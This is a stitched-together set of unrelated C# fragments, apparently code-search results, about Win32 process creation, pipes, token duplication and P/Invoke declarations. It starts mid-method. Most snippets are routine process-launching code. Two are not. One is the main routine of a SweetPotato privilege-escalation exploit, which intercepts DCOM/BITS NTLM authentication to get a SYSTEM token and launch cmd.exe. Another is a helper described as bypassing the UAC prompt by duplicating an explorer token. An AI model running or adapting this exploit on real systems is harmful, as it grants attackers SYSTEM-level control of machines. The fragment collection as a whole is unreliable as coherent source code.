standardInputWriter.Start(standardInput); } // Start two new threads to read standard output and standard error on the process // Create the 'standard output reader' thread Thread standardOutputReader = new Thread(new ThreadStart(ReadStandardOutput)); standardOutputReader.Start(); // Create the 'standard error reader' thread Thread standardErrorReader = new Thread(new ThreadStart(ReadStandardError)); standardErrorReader.Start(); // Resume the thread, i.e. start the process ResumeThread(this.processInformation.hThread); // Wait for the process to end switch (WaitForMultipleObjects(1, ref this.processInformation.hProcess, 1 /* true */, timeoutMilliSeconds) ) { case 0: // The process ended normally, or it was Terminate()d break; case 0x102: // There was a timeout TerminateThread(this.processInformation.hThread, -1); TerminateProcess(this.processInformation.hProcess, -1); break; default: // This is unexpected! break; } // Wait for the two threads to rejoin: standardOutputReader.Join(); standardErrorReader.Join(); // Kill the standard input writer at the end of the process if (standardInputWriter != null) { standardInputWriter.Abort(); } // Return exit code of the process int exitCode; if (GetExitCodeProcess(this.processInformation.hProcess, out exitCode) == 0) { throw new ApplicationException("Could not retrieve exit code"); } return(exitCode); } finally { // Clean up when exception happens if (this.processInformation.hProcess != IntPtr.Zero) { CloseHandle(this.processInformation.hProcess); } if (this.processInformation.hThread != IntPtr.Zero) { CloseHandle(this.processInformation.hThread); } // Reset the running process this.processInformation = new PROCESS_INFORMATION(); } }
internal static extern int RegCreateKeyEx(SafeRegistryHandle hKey, String lpSubKey, int Reserved, String lpClass, int dwOptions, int samDesigner, SECURITY_ATTRIBUTES lpSecurityAttributes, out SafeRegistryHandle hkResult, out int lpdwDisposition);
public static extern bool CreatePipe(out SafeFileHandle hReadPipe, out SafeFileHandle hWritePipe, SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
private static SafePipeHandle CreateNamedPipe(string fullPipeName, PipeDirection direction, int maxNumberOfServerInstances, PipeTransmissionMode transmissionMode, PipeOptions options, int inBufferSize, int outBufferSize, PipeAccessRights rights, SECURITY_ATTRIBUTES secAttrs) { uint openMode = (uint)direction | (uint)options; uint pipeMode = 0x4; //Message Mode if (maxNumberOfServerInstances == -1) { maxNumberOfServerInstances = 0xff; } SafePipeHandle handle = CreateNamedPipe(fullPipeName, openMode, pipeMode, maxNumberOfServerInstances, outBufferSize, inBufferSize, 0, secAttrs); if (handle.IsInvalid) { throw new Win32Exception(Marshal.GetLastWin32Error()); } return(handle); }
internal static extern int RegCreateKeyEx(SafeRegistryHandle hKey, string lpSubKey, int Reserved, string lpClass, int dwOptions, int samDesigner, SECURITY_ATTRIBUTES lpSecurityAttributes, out SafeRegistryHandle hkResult, out int lpdwDisposition);
internal static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
static void Main(string[] args) { string clsId = "4991D34B-80A1-4291-83B6-3328366B9097"; ushort port = 6666; string program = @"c:\Windows\System32\cmd.exe"; string programArgs = null; ExecutionMethod executionMethod = ExecutionMethod.Auto; bool showHelp = false; bool isBITSRequired = false; bool flag = false; Console.WriteLine( "Modify by Zero Team Uknow\n" + "SweetPotato by @_EthicalChaos_\n" ); OptionSet option_set = new OptionSet() .Add <string>("c=|clsid=", "CLSID (default BITS: 4991D34B-80A1-4291-83B6-3328366B9097)", v => clsId = v) .Add <ExecutionMethod>("m=|method=", "Auto,User,Thread (default Auto)", v => executionMethod = v) .Add("p=|prog=", "Program to launch (default cmd.exe)", v => program = v) .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v) .Add <ushort>("l=|listenPort=", "COM server listen port (default 6666)", v => port = v) .Add("h|help", "Display this help", v => showHelp = v != null); try { option_set.Parse(args); if (showHelp) { PrintHelp(option_set); return; } } catch (Exception e) { Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); PrintHelp(option_set); return; } try { if (isBITSRequired = IsBITSRequired()) { clsId = "4991D34B-80A1-4291-83B6-3328366B9097"; Console.WriteLine("[=] Your version of Windows fixes DCOM interception forcing BITS to perform WinRM intercept"); } bool hasImpersonate = EnablePrivilege(SecurityEntity.SE_IMPERSONATE_NAME); bool hasPrimary = EnablePrivilege(SecurityEntity.SE_ASSIGNPRIMARYTOKEN_NAME); bool hasIncreaseQuota = EnablePrivilege(SecurityEntity.SE_INCREASE_QUOTA_NAME); if (!hasImpersonate && !hasPrimary) { Console.WriteLine("[!] Cannot perform NTLM interception, neccessary priveleges missing. Are you running under a Service account?"); return; } if (executionMethod == ExecutionMethod.Auto) { if (hasImpersonate) { executionMethod = ExecutionMethod.Token; } else if (hasPrimary) { executionMethod = ExecutionMethod.User; } } Console.WriteLine("[+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4}", isBITSRequired ? "NTLM Auth" : "DCOM NTLM interception", clsId, isBITSRequired ? 5985 : port, executionMethod, program); PotatoAPI potatoAPI = new PotatoAPI(new Guid(clsId), port, isBITSRequired); if (!potatoAPI.TriggerDCOM()) { Console.WriteLine("[!] No authenticated interception took place, exploit failed"); return; } Console.WriteLine("[+] Intercepted and authenticated successfully, launching program"); IntPtr impersonatedPrimary; if (!DuplicateTokenEx(potatoAPI.Token, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, TOKEN_TYPE.TokenPrimary, out impersonatedPrimary)) { Console.WriteLine("[!] Failed to impersonate security context token"); return; } SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES(); saAttr.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES)); saAttr.bInheritHandle = 0x1; saAttr.lpSecurityDescriptor = IntPtr.Zero; if (CreatePipe(ref out_read, ref out_write, ref saAttr, 0)) { Console.WriteLine("[+] CreatePipe success"); } SetHandleInformation(out_read, HANDLE_FLAG_INHERIT, 0); SetHandleInformation(err_read, HANDLE_FLAG_INHERIT, 0); Thread systemThread = new Thread(() => { SetThreadToken(IntPtr.Zero, potatoAPI.Token); STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); si.cb = Marshal.SizeOf(si); si.lpDesktop = @"WinSta0\Default"; si.hStdOutput = out_write; si.hStdError = err_write; si.dwFlags |= STARTF_USESTDHANDLES; Console.WriteLine("[+] Created launch thread using impersonated user {0}", WindowsIdentity.GetCurrent(true).Name); string finalArgs = null; if (programArgs != null) { if (program.Equals("c:\\Windows\\System32\\cmd.exe")) { programArgs = "/c " + programArgs; } finalArgs = string.Format("\"{0}\" {1}", program, programArgs); Console.WriteLine("[+] Command : {0} ", finalArgs); } if (executionMethod == ExecutionMethod.Token) { flag = CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CREATE_NO_WINDOW, IntPtr.Zero, null, ref si, out pi); Console.WriteLine("[+] process with pid: {0} created.\n\n=====================================\n", pi.dwProcessId); if (!flag) { Console.WriteLine("[!] Failed to created impersonated process with token: {0}", Marshal.GetLastWin32Error()); return; } } else { flag = CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero, IntPtr.Zero, false, CREATE_NO_WINDOW, IntPtr.Zero, @"C:\", ref si, out pi); Console.WriteLine("[+] process with pid: {0} created.\n\n=====================================\n", pi.dwProcessId); if (!flag) { Console.WriteLine("[!] Failed to created impersonated process with user: {0} ", Marshal.GetLastWin32Error()); return; } } CloseHandle(out_write); byte[] buf = new byte[BUFSIZE]; int dwRead = 0; while (ReadFile(out_read, buf, BUFSIZE, ref dwRead, IntPtr.Zero)) { byte[] outBytes = new byte[dwRead]; Array.Copy(buf, outBytes, dwRead); Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes)); } CloseHandle(out_read); Console.WriteLine("[+] Process created, enjoy!"); }); systemThread.Start(); systemThread.Join(); } catch (Exception e) { Console.WriteLine("[!] Failed to exploit COM: {0} ", e.Message); Console.WriteLine(e.StackTrace.ToString()); } }
internal static extern int RegCreateKeyTransacted(SafeRegistryHandle hKey, String lpSubKey, int Reserved, String lpClass, int dwOptions, int samDesigner, SECURITY_ATTRIBUTES lpSecurityAttributes, out SafeRegistryHandle hkResult, out int lpdwDisposition, SafeTransactionHandle hTransaction, IntPtr pExtendedParameter);
/// <summary> /// Launches the given application with full admin rights, and in addition bypasses the Vista UAC prompt /// </summary> /// <param name="applicationName">The name of the application to launch</param> /// <param name="procInfo">Process information regarding the launched application that gets returned to the caller</param> /// <returns></returns> public static bool StartProcessAndBypassUAC(String applicationName, string startingDir, out PROCESS_INFORMATION procInfo) { uint winlogonPid = 0; IntPtr hUserTokenDup = IntPtr.Zero, hPToken = IntPtr.Zero, hProcess = IntPtr.Zero; procInfo = new PROCESS_INFORMATION(); // obtain the currently active session id; every logged on user in the system has a unique session id uint dwSessionId = WTSGetActiveConsoleSessionId(); // obtain the process id of the winlogon process that is running within the currently active session // -- chaged by ty // Process[] processes = Process.GetProcessesByName("winlogon"); Process[] processes = Process.GetProcessesByName("explorer"); foreach (Process p in processes) { if ((uint)p.SessionId == dwSessionId) { winlogonPid = (uint)p.Id; } } // obtain a handle to the winlogon process hProcess = OpenProcess(MAXIMUM_ALLOWED, false, winlogonPid); // obtain a handle to the access token of the winlogon process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, ref hPToken)) { CloseHandle(hProcess); return(false); } // Security attibute structure used in DuplicateTokenEx and CreateProcessAsUser // I would prefer to not have to use a security attribute variable and to just // simply pass null and inherit (by default) the security attributes // of the existing token. However, in C# structures are value types and therefore // cannot be assigned the null value. SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.Length = Marshal.SizeOf(sa); // copy the access token of the winlogon process; the newly created token will be a primary token if (!DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hUserTokenDup)) { CloseHandle(hProcess); CloseHandle(hPToken); return(false); } // By default CreateProcessAsUser creates a process on a non-interactive window station, meaning // the window station has a desktop that is invisible and the process is incapable of receiving // user input. To remedy this we set the lpDesktop parameter to indicate we want to enable user // interaction with the new process. STARTUPINFO si = new STARTUPINFO(); si.cb = (int)Marshal.SizeOf(si); si.lpDesktop = @"winsta0\default"; // interactive window station parameter; basically this indicates that the process created can display a GUI on the desktop // flags that specify the priority and creation method of the process int dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE; // create a new process in the current user's logon session bool result = CreateProcessAsUser(hUserTokenDup, // client's access token null, // file to execute applicationName, // command line ref sa, // pointer to process SECURITY_ATTRIBUTES ref sa, // pointer to thread SECURITY_ATTRIBUTES false, // handles are not inheritable dwCreationFlags, // creation flags IntPtr.Zero, // pointer to new environment block startingDir, // name of current directory ref si, // pointer to STARTUPINFO structure out procInfo // receives information about new process ); // invalidate the handles CloseHandle(hProcess); CloseHandle(hPToken); CloseHandle(hUserTokenDup); return(result); // return the result }
static extern uint CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES sattr, uint size);
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
internal static extern SafeWaitHandle CreateSemaphore(SECURITY_ATTRIBUTES lpSecurityAttributes, int initialCount, int maximumCount, String name);
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
internal static extern SafeWaitHandle CreateMutex(SECURITY_ATTRIBUTES lpSecurityAttributes, bool initialOwner, String name);
/// <summary> /// Spawns a new managed process. /// </summary> /// <param name="FileName">Path to the executable to be run</param> /// <param name="CommandLine">Command line arguments for the process</param> /// <param name="WorkingDirectory">Working directory for the new process. May be null to use the current working directory.</param> /// <param name="Environment">Environment variables for the new process. May be null, in which case the current process' environment is inherited</param> /// <param name="Input">Text to be passed via stdin to the new process. May be null.</param> public ManagedProcess(string FileName, string CommandLine, string WorkingDirectory, IReadOnlyDictionary <string, string> Environment, string Input, ManagedProcessPriority Priority) { // Create the job object that the child process will be added to JobHandle = CreateJobObject(IntPtr.Zero, IntPtr.Zero); if (JobHandle == null) { throw new Win32Exception(); } // Configure the job object to terminate the processes added to it when the handle is closed JOBOBJECT_EXTENDED_LIMIT_INFORMATION LimitInformation = new JOBOBJECT_EXTENDED_LIMIT_INFORMATION(); LimitInformation.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; int Length = Marshal.SizeOf(typeof(JOBOBJECT_EXTENDED_LIMIT_INFORMATION)); IntPtr LimitInformationPtr = Marshal.AllocHGlobal(Length); Marshal.StructureToPtr(LimitInformation, LimitInformationPtr, false); if (SetInformationJobObject(JobHandle, JobObjectExtendedLimitInformation, LimitInformationPtr, Length) == 0) { throw new Win32Exception(); } // Create the child process IntPtr EnvironmentBlock = IntPtr.Zero; SafeFileHandle StdInRead = null; SafeFileHandle StdOutWrite = null; SafeWaitHandle StdErrWrite = null; try { // Create stdin and stdout pipes for the child process. We'll close the handles for the child process' ends after it's been created. SECURITY_ATTRIBUTES SecurityAttributes = new SECURITY_ATTRIBUTES(); SecurityAttributes.bInheritHandle = 1; if (CreatePipe(out StdInRead, out StdInWrite, SecurityAttributes, 0) == 0 || SetHandleInformation(StdInWrite, HANDLE_FLAG_INHERIT, 0) == 0) { throw new Win32Exception(); } if (CreatePipe(out StdOutRead, out StdOutWrite, SecurityAttributes, 0) == 0 || SetHandleInformation(StdOutRead, HANDLE_FLAG_INHERIT, 0) == 0) { throw new Win32Exception(); } if (DuplicateHandle(GetCurrentProcess(), StdOutWrite, GetCurrentProcess(), out StdErrWrite, DUPLICATE_SAME_ACCESS, true, 0) == 0) { throw new Win32Exception(); } // Create the environment block for the child process, if necessary. if (Environment != null) { // The native format for the environment block is a sequence of null terminated strings with a final null terminator. List <byte> EnvironmentBytes = new List <byte>(); foreach (KeyValuePair <string, string> Pair in Environment) { EnvironmentBytes.AddRange(Encoding.UTF8.GetBytes(Pair.Key)); EnvironmentBytes.Add((byte)'='); EnvironmentBytes.AddRange(Encoding.UTF8.GetBytes(Pair.Value)); EnvironmentBytes.Add((byte)0); } EnvironmentBytes.Add((byte)0); // Allocate an unmanaged block of memory to store it. EnvironmentBlock = Marshal.AllocHGlobal(EnvironmentBytes.Count); Marshal.Copy(EnvironmentBytes.ToArray(), 0, EnvironmentBlock, EnvironmentBytes.Count); } // Set the startup parameters for the new process STARTUPINFO StartupInfo = new STARTUPINFO(); StartupInfo.cb = Marshal.SizeOf(StartupInfo); StartupInfo.hStdInput = StdInRead; StartupInfo.hStdOutput = StdOutWrite; StartupInfo.hStdError = StdErrWrite; StartupInfo.dwFlags = STARTF_USESTDHANDLES; PROCESS_INFORMATION ProcessInfo = new PROCESS_INFORMATION(); try { // Get the flags to create the new process ProcessCreationFlags Flags = ProcessCreationFlags.CREATE_NO_WINDOW | ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_BREAKAWAY_FROM_JOB; switch (Priority) { case ManagedProcessPriority.BelowNormal: Flags |= ProcessCreationFlags.BELOW_NORMAL_PRIORITY_CLASS; break; case ManagedProcessPriority.Normal: Flags |= ProcessCreationFlags.NORMAL_PRIORITY_CLASS; break; case ManagedProcessPriority.AboveNormal: Flags |= ProcessCreationFlags.ABOVE_NORMAL_PRIORITY_CLASS; break; } // Create the new process as suspended, so we can modify it before it starts executing (and potentially preempting us) if (CreateProcess(null, new StringBuilder("\"" + FileName + "\" " + CommandLine), IntPtr.Zero, IntPtr.Zero, true, Flags, EnvironmentBlock, WorkingDirectory, StartupInfo, ProcessInfo) == 0) { throw new Win32Exception(); } // Add it to our job object if (AssignProcessToJobObject(JobHandle, ProcessInfo.hProcess) == 0) { throw new Win32Exception(); } // Allow the thread to start running if (ResumeThread(ProcessInfo.hThread) == -1) { throw new Win32Exception(); } // If we have any input text, write it to stdin now using (StreamWriter StdInWriter = new StreamWriter(new FileStream(StdInWrite, FileAccess.Write, 4096, false), Console.InputEncoding, 4096)) { if (!String.IsNullOrEmpty(Input)) { StdInWriter.WriteLine(Input); StdInWriter.Flush(); } } // Create the stream objects for reading the process output InnerStream = new FileStream(StdOutRead, FileAccess.Read, 4096, false); ReadStream = new StreamReader(InnerStream, Console.OutputEncoding); // Wrap the process handle in a SafeFileHandle ProcessHandle = new SafeFileHandle(ProcessInfo.hProcess, true); } finally { if (ProcessInfo.hProcess != IntPtr.Zero && ProcessHandle == null) { CloseHandle(ProcessInfo.hProcess); } if (ProcessInfo.hThread != IntPtr.Zero) { CloseHandle(ProcessInfo.hThread); } } } finally { if (EnvironmentBlock != IntPtr.Zero) { Marshal.FreeHGlobal(EnvironmentBlock); EnvironmentBlock = IntPtr.Zero; } if (StdInRead != null) { StdInRead.Dispose(); StdInRead = null; } if (StdOutWrite != null) { StdOutWrite.Dispose(); StdOutWrite = null; } if (StdErrWrite != null) { StdErrWrite.Dispose(); StdErrWrite = null; } } }
public static extern IntPtr CreateJobObject(ref SECURITY_ATTRIBUTES lpJobAttributes, string?lpName);
private static extern bool CreateProcessPI(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandles, uint dwCreationFlags, string lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
public static extern SafeFileHandle CreateFile(string lpFileName, uint dwDesiredAccess, FileShare dwShareMode, SECURITY_ATTRIBUTES securityAttrs, FileMode dwCreationDisposition, int dwFlagsAndAttributes, IntPtr hTemplateFile);
// There is an issue launching Cygwin apps that if a process is launched using a bitness mismatched console, // process launch will fail. To avoid that, launch cygpath with its own console. This requires calling CreateProcess // directly because the creation flags are not exposed in System.Diagnostics.Process. // // Return true if successful. False otherwise. private bool LaunchCygPathAndReadResult(string cygwinPath, string miDebuggerPath, out string windowsPath) { windowsPath = ""; if (String.IsNullOrEmpty(miDebuggerPath)) { return(false); } string cygpathPath = Path.Combine(Path.GetDirectoryName(miDebuggerPath), "cygpath.exe"); if (!File.Exists(cygpathPath)) { return(false); } List <IDisposable> disposableHandles = new List <IDisposable>(); try { // Create the anonymous pipe that will act as stdout for the cygpath process SECURITY_ATTRIBUTES pPipeSec = new SECURITY_ATTRIBUTES(); pPipeSec.bInheritHandle = 1; SafeFileHandle stdoutRead; SafeFileHandle stdoutWrite; if (!CreatePipe(out stdoutRead, out stdoutWrite, ref pPipeSec, 4096)) { Debug.Fail("Unexpected failure CreatePipe in LaunchCygPathAndReadResult"); return(false); } SetHandleInformation(stdoutRead, HANDLE_FLAGS.INHERIT, 0); disposableHandles.Add(stdoutRead); disposableHandles.Add(stdoutWrite); const int STARTF_USESTDHANDLES = 0x00000100; const int STARTF_USESHOWWINDOW = 0x00000001; const int SW_HIDE = 0; STARTUPINFO startupInfo = new STARTUPINFO(); startupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; startupInfo.hStdOutput = stdoutWrite; startupInfo.wShowWindow = SW_HIDE; startupInfo.cb = Marshal.SizeOf(startupInfo); PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION(); SECURITY_ATTRIBUTES processSecurityAttributes = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES threadSecurityAttributes = new SECURITY_ATTRIBUTES(); processSecurityAttributes.nLength = Marshal.SizeOf(processSecurityAttributes); threadSecurityAttributes.nLength = Marshal.SizeOf(threadSecurityAttributes); const uint DETACHED_PROCESS = 0x00000008; uint flags = DETACHED_PROCESS; // ex: "C:\\cygwin64\\bin\\cygpath.exe -w " + cygwinPath, string command = String.Concat(cygpathPath, " -w ", cygwinPath); if (!CreateProcess( null, command, ref processSecurityAttributes, ref threadSecurityAttributes, true, flags, IntPtr.Zero, null, ref startupInfo, out processInfo )) { Debug.Fail("Launching cygpath for source mapping failed"); return(false); } SafeFileHandle processSH = new SafeFileHandle(processInfo.hProcess, true); SafeFileHandle threadSH = new SafeFileHandle(processInfo.hThread, true); disposableHandles.Add(processSH); disposableHandles.Add(threadSH); const int timeout = 5000; if (WaitForSingleObject(processInfo.hProcess, timeout) != 0) { Debug.Fail("cygpath failed to map source file."); return(false); } uint exitCode = 0; if (!GetExitCodeProcess(processInfo.hProcess, out exitCode)) { Debug.Fail("cygpath failed to get exit code from cygpath."); return(false); } if (exitCode != 0) { Debug.Fail("cygpath returned error exit code."); return(false); } FileStream fs = new FileStream(stdoutRead, FileAccess.Read); StreamReader sr = new StreamReader(fs); windowsPath = sr.ReadLine(); } finally { foreach (IDisposable h in disposableHandles) { h.Dispose(); } } return(true); }
static internal extern IntPtr CreateEvent(ref SECURITY_ATTRIBUTES securityAttributes, int bManualReset, int bInitialState, string lpName);
internal static extern bool CreatePipePI(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize);
public static extern IntPtr CreateConsoleScreenBuffer(int dwDesiredAccess, int dwShareMode, ref SECURITY_ATTRIBUTES lpSecurityAttributes, int dwFlags, IntPtr lpScreenBufferData);
/// <summary> /// 创建穿透的进程 /// </summary> /// <param name="app">应用程序名称</param> /// <param name="cmd">应用程序命令</param> /// <param name="sessionID">用户session号,默认自动分配</param> public static void CreateProcess(string app, string cmd, int sessionID = -1) { IntPtr hToken = WindowsIdentity.GetCurrent().Token; IntPtr hDupedToken = IntPtr.Zero; var pi = new PROCESS_INFORMATION(); var sa = new SECURITY_ATTRIBUTES(); sa.Length = Marshal.SizeOf(sa); var si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); int dwSessionID = sessionID; if (sessionID < 0) { dwSessionID = WTSGetActiveConsoleSessionId(); } if (!WTSQueryUserToken(dwSessionID, out hToken)) { Logger.HistoryPrinting(Logger.Level.WARN, MethodBase.GetCurrentMethod().DeclaringType.FullName, String.Format("WTSQueryUserToken failed, sessionID: {0}.", dwSessionID)); } if (!DuplicateTokenEx( hToken, GENERIC_ALL_ACCESS, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hDupedToken )) { Logger.HistoryPrinting(Logger.Level.WARN, MethodBase.GetCurrentMethod().DeclaringType.FullName, "DuplicateTokenEx failed."); } IntPtr lpEnvironment = IntPtr.Zero; if (!CreateEnvironmentBlock(out lpEnvironment, hDupedToken, false)) { Logger.HistoryPrinting(Logger.Level.WARN, MethodBase.GetCurrentMethod().DeclaringType.FullName, "CreateEnvironmentBlock failed."); } if (!CreateProcessAsUser( hDupedToken, app, cmd, ref sa, ref sa, false, 0, IntPtr.Zero, null, ref si, ref pi)) { int error = Marshal.GetLastWin32Error(); string message = String.Format("CreateProcessAsUser Error: {0}.", error); Logger.HistoryPrinting(Logger.Level.WARN, MethodBase.GetCurrentMethod().DeclaringType.FullName, message); } if (pi.hProcess != IntPtr.Zero) { CloseHandle(pi.hProcess); } if (pi.hThread != IntPtr.Zero) { CloseHandle(pi.hThread); } if (hDupedToken != IntPtr.Zero) { CloseHandle(hDupedToken); } }
internal static extern int RegCreateKeyTransacted(SafeRegistryHandle hKey, string lpSubKey, int Reserved, string lpClass, int dwOptions, int samDesigner, SECURITY_ATTRIBUTES lpSecurityAttributes, out SafeRegistryHandle hkResult, out int lpdwDisposition, SafeTransactionHandle hTransaction, IntPtr pExtendedParameter);
public static extern SafePipeHandle CreateNamedPipe(string pipeName, PipeOpenMode openMode, PipeMode pipeMode, int maxInstances, int outBufferSize, int inBufferSize, uint defaultTimeout, SECURITY_ATTRIBUTES securityAttributes);